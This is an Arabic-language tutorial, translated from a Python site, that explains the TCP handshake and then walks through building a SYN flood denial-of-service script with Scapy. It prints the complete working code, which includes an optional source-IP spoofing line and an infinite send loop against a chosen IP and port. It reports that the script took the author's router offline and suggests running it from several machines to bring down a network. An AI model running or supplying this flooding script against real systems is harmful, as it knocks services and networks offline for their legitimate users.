هجوم SYN flood هو شكل شائع لهجوم denial of service attack حيث يرسل المهاجم سلسلة من SYN requests إلى النظام المستهدف (يمكن أن يكون راوتر أو جدار ناري أو أنظمة الحماية (IPS) ، وما إلى ذلك) من أجل الاستهلاك مواردها ، لمنع المستخدمين من إنشاء اتصال عادي.
يستغل TCP SYN flood الجزء الأول منhandshake TCP ثلاثية الاتجاهات ، وبما أن كل اتصال يستخدم بروتوكول TCP يتطلب ذلك ، فإن هذا الهجوم يثبت أنه خطير ويمكن أن يؤدي إلى تدمير العديد من مكونات الشبكة.
لفهم SYN flood ، نحتاج أولاً إلى التحدث عن handshake TCP ثلاثية الاتجاهات:
عندما يريد العميل إنشاء اتصال بخادم عبر بروتوكول TCP ، يتبادل العميل والخادم سلسلة من الرسائل:
- يطلب العميل اتصالاً عن طريق إرسال رسالة SYN إلى الخادم.
- يستجيب الخادم برسالة SYN-ACK (يقر الطلب).
- يستجيب العملاء مرة أخرى باستخدام ACK ، ثم يبدأ الاتصال.
هجومflood SYN يتضمن مستخدمًا ضارًا يرسل حزم SYN بشكل متكرر دون الاستجابة لـ ACK ، وغالبًا مع منافذ مصدر مختلفة ، مما يجعل الخادم غير مدرك للهجوم ، ويستجيب لكل محاولة بحزمة SYN-ACK من كل منفذ . بهذه الطريقة ، لن يستجيب الخادم بسرعة للمستخدمين.
في هذا البرنامج التعليمي ، سنقوم بتنفيذ هجوم SYN flood باستخدام مكتبة Scapy في Python. للبدء ، تحتاج إلى تثبيت Scapy:
pip3 install scapy
افتح ملف Python جديدًا واستورد Scapy:
from scapy.all import *
Code language: JavaScript (javascript)
سأختبر هذا على جهاز الراوتر الخاص بي ، والذي يحتوي على عنوان IP الخاص 192.168.1.1:
# target IP address (should be a testing router/firewall)
target_ip = "192.168.1.1"
# the target port u want to flood
target_port = 80
Code language: PHP (php)
إذا كنت ترغب في تجربة ذلك ضد جهاز الراوتر الخاص بك ، فتأكد من أن لديك عنوان IP الصحيح ، يمكنك الحصول على عنوان البوابة الافتراضية عبر أوامر ipconfig
و ip route
في Windows و ifconfig
macOS / Linux على .
المنفذ الهدف هو HTTP ، لأنني أريد إغراق واجهة الويب لجهاز الراوتر الخاص بي. لنقم الآن بصياغة حزمة SYN الخاصة بنا ، بدءًا من طبقة IP:
# forge IP packet with target ip as the destination IP address
ip = IP(dst=target_ip)
# or if you want to perform IP Spoofing (will work as well)
# ip = IP(src=RandIP("192.168.1.1/24"), dst=target_ip)
Code language: PHP (php)
لقد حددنا dst كعنوان IP الهدف ، ويمكننا أيضًا تعيين عنوان src على عنوان IP عشوائي مخادع في نطاق الشبكة الخاصة (كود التعليق) وسيعمل أيضًا.
دعونا نصوغ طبقة TCP الخاصة بنا:
# forge a TCP SYN packet with a random source port
# and the target port as the destination port
tcp = TCP(sport=RandShort(), dport=target_port, flags="S")
Code language: PHP (php)
لذلك نقوم بتعيين المنفذ المصدر (sport) على اختصار عشوائي (يتراوح من 1 إلى 65535 ، تمامًا مثل المنافذ) و dport (destination port) كمنفذ هدفنا ، في هذه الحالة ، إنها خدمة HTTP.
قمنا أيضًا بتعيين العلامات على “S” والتي تشير إلى نوع SYN.
الآن دعنا نضيف بعض البيانات الأولية المتدفقة لشغل الشبكة:
# add some flooding data (1KB in this case)
raw = Raw(b"X"*1024)
Code language: PHP (php)
رائع ، الآن دعنا نجمع الطبقات ونرسل الحزمة:
# stack up the layers
p = ip / tcp / raw
# send the constructed packet in a loop until CTRL+C is detected
send(p, loop=1, verbose=0)
Code language: PHP (php)
لذلك استخدمنا وظيفة send() التي ترسل الحزم في الطبقة 3 ، وقمنا بتعيين الحلقة على 1 لمواصلة الإرسال حتى نضغط على CTRL + C ، ولن يطبع verbose على 0 أي شيء أثناء العملية (silent).
اكتمل النص! الآن بعد تشغيل هذا على جهاز الراوتر الخاص بي ، استغرق الأمر بضع ثوانٍ وبالتأكيد ، توقف جهاز التوجيه عن العمل وفقدت الاتصال:
هذا هو ناتج الأمر التالي على نظام Windows:
$ ping -t "192.168.1.1"
Code language: JavaScript (javascript)
تم الاستيلاء عليه من جهاز آخر غير المهاجم ، لذلك لم يعد جهاز التوجيه يستجيب.
لإعادة كل شيء إلى طبيعته ، يمكنك إما إيقاف الهجوم (بالضغط على CTRL + C) ، إذا كان الجهاز لا يزال لا يستجيب ، فتابع وأعد تشغيله.
الكود كامل
from scapy.all import *
# target IP address (should be a testing router/firewall)
target_ip = "192.168.1.1"
# the target port u want to flood
target_port = 80
# forge IP packet with target ip as the destination IP address
ip = IP(dst=target_ip)
# or if you want to perform IP Spoofing (will work as well)
# ip = IP(src=RandIP("192.168.1.1/24"), dst=target_ip)
# forge a TCP SYN packet with a random source port
# and the target port as the destination port
tcp = TCP(sport=RandShort(), dport=target_port, flags="S")
# add some flooding data (1KB in this case, don't increase it too much,
# otherwise, it won't work.)
raw = Raw(b"X"*1024)
# stack up the layers
p = ip / tcp / raw
# send the constructed packet in a loop until CTRL+C is detected
send(p, loop=1, verbose=0)
Code language: PHP (php)
استنتاج
حسنا! لقد انتهينا من البرنامج التعليمي ، إذا حاولت تشغيل البرنامج النصي على جهاز كمبيوتر محلي ، فستلاحظ أن الكمبيوتر مشغول وسيزداد وقت الاستجابة بشكل ملحوظ. يمكنك أيضًا تشغيل البرنامج النصي على عدة محطات طرفية أو حتى أجهزة أخرى ، ومعرفة ما إذا كان يمكنك إيقاف تشغيل شبكة الكمبيوتر المحلي!
المقال مترجم من www.thepythoncode.com